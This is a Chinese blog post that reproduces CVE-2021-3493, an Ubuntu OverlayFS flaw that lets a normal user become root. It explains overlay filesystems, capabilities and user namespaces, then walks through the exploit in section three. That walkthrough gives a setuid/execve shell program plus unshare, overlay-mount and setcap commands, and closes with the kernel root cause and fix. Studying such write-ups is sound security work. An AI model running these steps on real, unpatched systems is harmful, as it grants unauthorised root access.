CVE-2021-3493复现

CVE-2021-3493

一、漏洞简介

  • linux内核中的overlayfs文件系统没有正确根据用户命名空间校验 capability权限,从而导致普通用户可以利用该漏洞提升权限为root用户。

  • 该漏洞NVD的打分为CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H,最终得分为7.8分(高危)。

    漏洞影响范围为:

    Ubuntu 20.10
    Ubuntu 20.04 LTS
    Ubuntu 18.04 LTS
    Ubuntu 16.04 LTS
    Ubuntu 14.04 ESM
    

二、前置知识

2.1、Overlay文件系统

  • Overlayfs是一个面向Linux的文件系统服务,其实现一个面向其他类型文件系统(如ext4fs、ext3fs等)的联合挂载,而不直接参与磁盘空间结构的划分。于2014年被合并到Linux内核的3.18版本,目前功能已经稳定且被逐渐推广,并在docker容器技术中得到广泛的应用。

  • 如图所示,Overlayfs由两个文件系统组合而成:一个upper文件系统和一个lower文件系统,两种文件系统联合挂载成为一个目录。upper目录只能有一个,而lower可以有多个。upper目录中的文件会覆盖lower中的同名文件,比如图中merged目录中的file3目录最终显示的是upper目录中的file3目录。当存在多个lower目录时,高级别lower目录中的文件也会覆盖低级别lower目录中的文件。

  • upper目录可读可写,图中file3、file4文件的修改会被映射到upper中,比如删除或者修改操作。而lower目录是只读目录,file1和file2的改动不会影响到lower目录中的真实文件。当删除文件file1时,系统会创建一个删除标记,而不会真正删除lower中的文件。当改写lower层的文件时,系统会将文件拷贝至upper目录中进行修改,并隐藏lower目录中的同名文件。

  • 可以在 Linux 系统中操作一下以加深对 OverlayFS 的理解。

  • mkdir ovlcap && cd ovlcap/
    mkdir work # 用于临时工作的目录,必须是空文件夹
    mkdir lower && touch lower/l1.txt # 文件系统的下层目录
    mkdir upper && touch upper/u2.txt # 文件系统的上层目录
    mkdir merged
    mount -t overlay overlay -o lowerdir=./lower,upperdir=./upper,workdir=./work ./merged
    ls merged/
    

2.2、linux capabilities机制

  • Linux内核2.2引入了capabilities机制,并在后续使用中使用完善。该机制将root用户的权限细分为不同的领域,可以分别启用或禁用。在实际进行特权操作时,如果euid不是root,系统会校验该线程是否具有完成操作对应的capabilities特权。线程和文件均有capabilities的概念。
capability 名称 功能描述
CAP_CHOWN 修改文件所有者的权限
CAP_KILL 允许对不属于自己的进程发送信号
CAP_SETFCAP 允许为文件设置任意的 capabilities
CAP_SETUID 允许改变进程的 UID
CAP_SYS_ADMIN 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等

2.2.1、线程的capabilities

每一个线程,具有3个capabilities的集合,分别是:

  • Permitted

    Permitted集合定义了线程的特权上限,如果执行操作所需要的capability不在该集合中,那么该线程不会进行对应的特权操作。Permitted集合是Inheritable和Effective集合的的超集。

  • Inheritable

    当执行exec()系统调用运行其他程序时,哪些特权能够被新线程继承capabilities。

  • Effective

    内核检查该线程是否可以进行特权操作时,检查的对象便是Effective集合。线程可以删除Effective集合中的某capability,随后在需要时,再从Permitted集合中恢复该capability,以此达到临时禁用capability的功能。

2.2.2、 文件的capabilities

文件的capabilities被记录在文件的拓展属性中。当某线程想修改这些扩展属性时,需要具有CAP_SETFCAP的capability。

  • Permitted

文件被执行时加入其线程的Permitted集合。

  • Inheritable

这个集合与线程的Inheritable集合的交集作为执行完exec后实际继承的capabilities。

  • Effective

如果设置开启,那么在运行后,Permitted集合中新增的capabilities会自动出现在Effective集合中;否则不会出现在Effective集合中。对于一些旧的可执行文件,由于其不会调用capabilities相关函数设置自身的Effective集合,所以可以将该可执行文件的Effective bit开启,从而将Permitted集合中的capabilities自动添加到Effective集合中。

  • ambient

    在内核4.3后引入,用于补充Inheritable使用上的缺陷,ambien集合可以使用函数prctl修改。当程序由于SUID(SGID)bit位而转变UID(GID),或执行带有文件capabilities的程序时会导致该集合被清空

  • 比如我们熟知的 ping 命令,它所用到的底层是使用 socket 实现的,而 socketroot 用户才有权限使用的。在 Ubuntu 18.04LTS 的发行版当中,我们看看它是怎么解决这个权限问题的。
  • ping二进制文件被设置了 s 权限位,意味着我运行 ping 的时候, ping 这个 process uid0,也就是 root 用户。若取消设置它的 s权限位,它将不再具有 ping 的功能,底层的 socket 并不允许普通用户运行。
  • 而当自己权限提升之后又能够使用 ping 命令了,是因为 root 用户执行读写和某些底层操作时不检查权限。
  • 在这里我们只需要使用 setcap 命令将 ping 加上 socket 权限就可以让我们运行的时候获得 socket 权限,正常使用 ping 命令,这么做的好处就是假如我的 ping 命令有漏洞存在,那么当别人借着 ping 命令来提权我的计算机时会发现它获得的 shell 只拥有 socket 这么一个特权操作,其它的操作与普通用户并没有区别,这样极大地降低了安全风险,而如果我使用 s 权限位,那么别人通过这个获取漏洞之后将能直接获得 root 权限能操作计算机的一切资源。
  • 使用setcap添加完权限之后,发现又可以使用 ping 命令了,这是因为通过 setcap/bin/ping 重新拥有了 socket 权限。

2.3、 User namespace

  • namespace 是 Linux 内核用来隔离内核资源的方式。通过 namespace 可以让一些进程只能看到与自己相关的一部分资源,而另外一些进程也只能看到与它们自己相关的资源,这两拨进程根本就感觉不到对方的存在。具体的实现方式是把一个或多个进程的相关资源指定在同一个 namespace 中。Linux namespace 的主要目的是实现虚拟化(容器)服务。 Linux 中可以通过 unshare 命令来体会一下 namespace。 --fork:执行 unshare 的进程 fork 一个新的子进程,在子进程里执行 unshare 传入的参数。 --pid:不从父进程继承 pid 的 namespace。也就是说,在子进程内执行 ps,无法看到父进程原有的进程。
unshare --pid --fork /bin/bash
mount -t proc proc /proc
ps -ef

  • 可以看到 /bin/bash 进程的 pid 为 1,但这只是在 namespace 中而已,外部 pid 为 1 的进程依然是 init。

三、漏洞复现

  • 该漏洞是通过创建一个 namespace,在 namespace 中通过 OverlayFS 赋予某文件 capability 权限,结果由于程序检查不严,该权限逃逸到现实环境而造成的权限提升漏洞。 在普通用户下创建 work、lower、upper 和 merged 文件夹,作为 OverlayFS 的挂载点。并在『上层』目录 upper 文件夹中写入一个 1.c 源文件,内容如下:
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>

int main(){
 int res;
 res = setuid(0);
 printf("%d\n", res);
 res = setgid(0);
 printf("%d\n", res);
 execve("/bin/sh", 0, 0);
 return 0;
}
  • 利用 unshare 命令创建一个命名空间内部为 root 权限的 bash
unshare --fork --user --mount --map-root-user
  • 虽然变成了 root 但是目前并不能够访问 root 用户文件,再挂载 OverlayFS,随后设置 a.out的 capability 为 eip。因为 capabilities 机制对 root 权限进行更加详细的划分,被划分出来的每个单元被称为 capability,而设置 eip 意思就是说包含所有的权限单元。
mount -t overlay overlay -o lowerdir=./lower,upperdir=./upper,workdir=./work ./merged
setcap CAP_SETUID=eip merged/a.out
  • 在 namespace 中设置了可执行文件 a.out 的 capability,按道理说外层环境应该是不受 namespace 内的影响,但是该漏洞问题就出在这里。退出该虚拟环境后在其『上层』目录 upper 文件夹中 a.out 已经受到了影响。执行它也是成功获得 root 权限。

四、漏洞原因

  • 内核源码中的 cap_convert_nscap() 函数用来校验权限,包括文件所属的 namespace 与当前环境的 namespace 是否一致,以及当前用户是否具有 CAP_SETFCAP(允许为文件设置任意的 capabilities)的权限。

  • vfs_setxattr() 函数并没有调用 cap_convert_nscap() 函数来进行校验,没有检查程序与环境的 namespace 是否一致。

  • 修复方案就是将 setxattr() 中的 cap_convert_nscap()校验函数移动到了 vfs_setxattr()中。

参考

https://github.com/briskets/CVE-2021-3493
https://www.freebuf.com/vuls/275787.html
https://www.anquanke.com/post/id/240030
https://bbs.pediy.com/thread-274241.htm
https://blog.zjun.info/tech/cve-2021-3493/

posted @ 2022-12-22 18:41  一生热爱  阅读(1375)  评论(0)    收藏  举报